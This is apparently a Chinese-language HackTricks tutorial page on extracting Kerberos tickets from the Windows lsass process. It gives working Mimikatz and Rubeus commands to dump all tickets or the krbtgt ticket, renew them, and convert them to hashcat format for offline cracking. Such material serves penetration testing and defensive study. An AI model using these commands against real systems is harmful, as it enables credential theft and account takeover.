42 lines
1.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 从Windows中提取票证
{{#include ../../banners/hacktricks-training.md}}
Windows中的票证由**lsass**本地安全授权子系统服务进程管理和存储该进程负责处理安全策略。要提取这些票证必须与lsass进程进行交互。非管理员用户只能访问自己的票证而管理员则有权提取系统上的所有票证。对于此类操作工具**Mimikatz**和**Rubeus**被广泛使用,各自提供不同的命令和功能。
### Mimikatz
Mimikatz是一个多功能工具可以与Windows安全进行交互。它不仅用于提取票证还用于各种其他与安全相关的操作。
```bash
# Extracting tickets using Mimikatz
sekurlsa::tickets /export
```
### Rubeus
Rubeus 是一个专门用于 Kerberos 交互和操作的工具。它用于票据提取和处理,以及其他与 Kerberos 相关的活动。
```bash
# Dumping all tickets using Rubeus
.\Rubeus dump
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
# Listing all tickets
.\Rubeus.exe triage
# Dumping a specific ticket by LUID
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
# Renewing a ticket
.\Rubeus.exe renew /ticket:<BASE64_TICKET>
# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>
```
使用这些命令时,请确保将占位符如 `<BASE64_TICKET>``<luid>` 替换为实际的 Base64 编码票证和登录 ID。这些工具提供了广泛的功能用于管理票证和与 Windows 的安全机制进行交互。
## 参考
- [https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
{{#include ../../banners/hacktricks-training.md}}